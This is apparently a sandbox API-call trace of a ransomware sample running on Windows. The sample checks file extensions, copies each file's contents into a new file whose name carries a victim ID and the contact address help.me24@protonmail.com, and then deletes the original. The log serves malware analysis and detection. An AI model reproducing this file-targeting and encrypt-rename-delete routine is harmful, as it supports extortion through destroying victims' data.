	[0188.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.842] lstrlenW (lpString=".zip") returned 4
	[0188.842] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0188.842] lstrlenW (lpString=".rar") returned 4
	[0188.842] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0188.842] lstrlenW (lpString=".bz2") returned 4
	[0188.842] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0188.842] lstrlenW (lpString=".7z") returned 3
	[0188.842] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0188.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.842] lstrlenW (lpString=".dbf") returned 4
	[0188.842] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0188.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.842] lstrlenW (lpString=".1cd") returned 4
	[0188.843] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0188.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.843] lstrlenW (lpString=".jpg") returned 4
	[0188.843] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0188.843] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0188.843] lstrlenW (lpString="aldelo.exe") returned 10
	[0188.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0188.843] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=78336) returned 1
	[0188.843] CloseHandle (hObject=0x358) returned 1
	[0188.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe")) returned 0x20
	[0188.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\aldelo.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0188.844] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.844] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\aldelo.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0188.844] GetLastError () returned 0x0
	[0188.844] ReadFile (in: hFile=0x358, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x13200, lpOverlapped=0x0) returned 1
	[0188.848] WriteFile (in: hFile=0x35c, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x13210, lpOverlapped=0x0) returned 1
	[0189.169] ReadFile (in: hFile=0x358, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.169] WriteFile (in: hFile=0x35c, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0189.169] SetEndOfFile (hFile=0x35c) returned 1
	[0189.169] CloseHandle (hObject=0x35c) returned 1
	[0189.169] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.169] SetEndOfFile (hFile=0x358) returned 1
	[0189.171] CloseHandle (hObject=0x358) returned 1
	[0189.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0189.171] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe")) returned 1
	[0189.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.172] lstrlenW (lpString=".doc") returned 4
	[0189.172] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.172] lstrlenW (lpString=".docx") returned 5
	[0189.172] lstrcmpiW (lpString1=".docx", lpString2="o.exe") returned -1
	[0189.172] lstrlenW (lpString=".pdf") returned 4
	[0189.172] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.172] lstrlenW (lpString=".xls") returned 4
	[0189.172] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.172] lstrlenW (lpString=".xlsx") returned 5
	[0189.172] lstrcmpiW (lpString1=".xlsx", lpString2="o.exe") returned -1
	[0189.172] lstrlenW (lpString=".ppt") returned 4
	[0189.172] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.172] lstrlenW (lpString=".zip") returned 4
	[0189.172] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.172] lstrlenW (lpString=".rar") returned 4
	[0189.172] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.172] lstrlenW (lpString=".bz2") returned 4
	[0189.172] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.172] lstrlenW (lpString=".7z") returned 3
	[0189.172] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.173] lstrlenW (lpString=".dbf") returned 4
	[0189.173] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.173] lstrlenW (lpString=".1cd") returned 4
	[0189.173] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.173] lstrlenW (lpString=".jpg") returned 4
	[0189.173] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.173] lstrlenW (lpString=".doc") returned 4
	[0189.173] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.173] lstrlenW (lpString=".docx") returned 5
	[0189.173] lstrcmpiW (lpString1=".docx", lpString2="o.exe") returned -1
	[0189.173] lstrlenW (lpString=".pdf") returned 4
	[0189.173] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.173] lstrlenW (lpString=".xls") returned 4
	[0189.173] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.187] lstrlenW (lpString=".xlsx") returned 5
	[0189.187] lstrcmpiW (lpString1=".xlsx", lpString2="o.exe") returned -1
	[0189.187] lstrlenW (lpString=".ppt") returned 4
	[0189.187] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.187] lstrlenW (lpString=".zip") returned 4
	[0189.187] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.187] lstrlenW (lpString=".rar") returned 4
	[0189.187] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.187] lstrlenW (lpString=".bz2") returned 4
	[0189.188] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.188] lstrlenW (lpString=".7z") returned 3
	[0189.188] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.188] lstrlenW (lpString=".dbf") returned 4
	[0189.188] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.188] lstrlenW (lpString=".1cd") returned 4
	[0189.188] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0189.188] lstrlenW (lpString=".jpg") returned 4
	[0189.188] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.188] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.188] lstrlenW (lpString="StreamServer.dll") returned 16
	[0189.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.189] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=1053784) returned 1
	[0189.189] CloseHandle (hObject=0x358) returned 1
	[0189.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20
	[0189.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.189] lstrlenW (lpString=".doc") returned 4
	[0189.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.189] lstrlenW (lpString=".docx") returned 5
	[0189.189] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0189.189] lstrlenW (lpString=".pdf") returned 4
	[0189.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.189] lstrlenW (lpString=".xls") returned 4
	[0189.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.189] lstrlenW (lpString=".xlsx") returned 5
	[0189.189] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0189.189] lstrlenW (lpString=".ppt") returned 4
	[0189.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.189] lstrlenW (lpString=".zip") returned 4
	[0189.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString=".rar") returned 4
	[0189.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString=".bz2") returned 4
	[0189.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.190] lstrlenW (lpString=".7z") returned 3
	[0189.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.190] lstrlenW (lpString=".dbf") returned 4
	[0189.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.190] lstrlenW (lpString=".1cd") returned 4
	[0189.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.190] lstrlenW (lpString=".jpg") returned 4
	[0189.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.190] lstrlenW (lpString=".doc") returned 4
	[0189.190] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString=".docx") returned 5
	[0189.190] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0189.190] lstrlenW (lpString=".pdf") returned 4
	[0189.190] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString=".xls") returned 4
	[0189.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString=".xlsx") returned 5
	[0189.190] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0189.190] lstrlenW (lpString=".ppt") returned 4
	[0189.190] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.190] lstrlenW (lpString=".zip") returned 4
	[0189.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString=".rar") returned 4
	[0189.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.190] lstrlenW (lpString=".bz2") returned 4
	[0189.191] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.191] lstrlenW (lpString=".7z") returned 3
	[0189.191] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.191] lstrlenW (lpString=".dbf") returned 4
	[0189.191] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.191] lstrlenW (lpString=".1cd") returned 4
	[0189.191] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0189.191] lstrlenW (lpString=".jpg") returned 4
	[0189.191] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.191] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.191] lstrlenW (lpString="vcruntime140.dll") returned 16
	[0189.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.191] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=88752) returned 1
	[0189.191] CloseHandle (hObject=0x358) returned 1
	[0189.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20
	[0189.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.192] lstrlenW (lpString=".doc") returned 4
	[0189.192] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.192] lstrlenW (lpString=".docx") returned 5
	[0189.192] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0189.192] lstrlenW (lpString=".pdf") returned 4
	[0189.192] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.192] lstrlenW (lpString=".xls") returned 4
	[0189.192] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.192] lstrlenW (lpString=".xlsx") returned 5
	[0189.192] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0189.192] lstrlenW (lpString=".ppt") returned 4
	[0189.192] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.192] lstrlenW (lpString=".zip") returned 4
	[0189.192] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.192] lstrlenW (lpString=".rar") returned 4
	[0189.192] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.192] lstrlenW (lpString=".bz2") returned 4
	[0189.192] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.192] lstrlenW (lpString=".7z") returned 3
	[0189.192] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.192] lstrlenW (lpString=".dbf") returned 4
	[0189.192] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.193] lstrlenW (lpString=".1cd") returned 4
	[0189.193] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.193] lstrlenW (lpString=".jpg") returned 4
	[0189.193] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.193] lstrlenW (lpString=".doc") returned 4
	[0189.193] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.193] lstrlenW (lpString=".docx") returned 5
	[0189.193] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0189.193] lstrlenW (lpString=".pdf") returned 4
	[0189.193] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.193] lstrlenW (lpString=".xls") returned 4
	[0189.193] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.193] lstrlenW (lpString=".xlsx") returned 5
	[0189.193] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0189.193] lstrlenW (lpString=".ppt") returned 4
	[0189.193] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.193] lstrlenW (lpString=".zip") returned 4
	[0189.193] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.193] lstrlenW (lpString=".rar") returned 4
	[0189.193] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.193] lstrlenW (lpString=".bz2") returned 4
	[0189.193] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.193] lstrlenW (lpString=".7z") returned 3
	[0189.193] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.193] lstrlenW (lpString=".dbf") returned 4
	[0189.193] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.193] lstrlenW (lpString=".1cd") returned 4
	[0189.193] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0189.194] lstrlenW (lpString=".jpg") returned 4
	[0189.194] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.194] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.194] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.194] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10752) returned 1
	[0189.194] CloseHandle (hObject=0x358) returned 1
	[0189.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20
	[0189.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.195] lstrlenW (lpString=".doc") returned 4
	[0189.195] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.195] lstrlenW (lpString=".docx") returned 5
	[0189.195] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.195] lstrlenW (lpString=".pdf") returned 4
	[0189.195] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.195] lstrlenW (lpString=".xls") returned 4
	[0189.195] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.195] lstrlenW (lpString=".xlsx") returned 5
	[0189.195] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.195] lstrlenW (lpString=".ppt") returned 4
	[0189.195] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.195] lstrlenW (lpString=".zip") returned 4
	[0189.195] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.195] lstrlenW (lpString=".rar") returned 4
	[0189.195] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.195] lstrlenW (lpString=".bz2") returned 4
	[0189.195] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.195] lstrlenW (lpString=".7z") returned 3
	[0189.195] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.195] lstrlenW (lpString=".dbf") returned 4
	[0189.195] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.195] lstrlenW (lpString=".1cd") returned 4
	[0189.195] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.195] lstrlenW (lpString=".jpg") returned 4
	[0189.195] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.195] lstrlenW (lpString=".doc") returned 4
	[0189.195] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.195] lstrlenW (lpString=".docx") returned 5
	[0189.196] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.196] lstrlenW (lpString=".pdf") returned 4
	[0189.196] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.196] lstrlenW (lpString=".xls") returned 4
	[0189.196] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.196] lstrlenW (lpString=".xlsx") returned 5
	[0189.196] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.196] lstrlenW (lpString=".ppt") returned 4
	[0189.196] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.196] lstrlenW (lpString=".zip") returned 4
	[0189.196] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.196] lstrlenW (lpString=".rar") returned 4
	[0189.196] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.196] lstrlenW (lpString=".bz2") returned 4
	[0189.196] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.196] lstrlenW (lpString=".7z") returned 3
	[0189.196] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0189.196] lstrlenW (lpString=".dbf") returned 4
	[0189.196] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
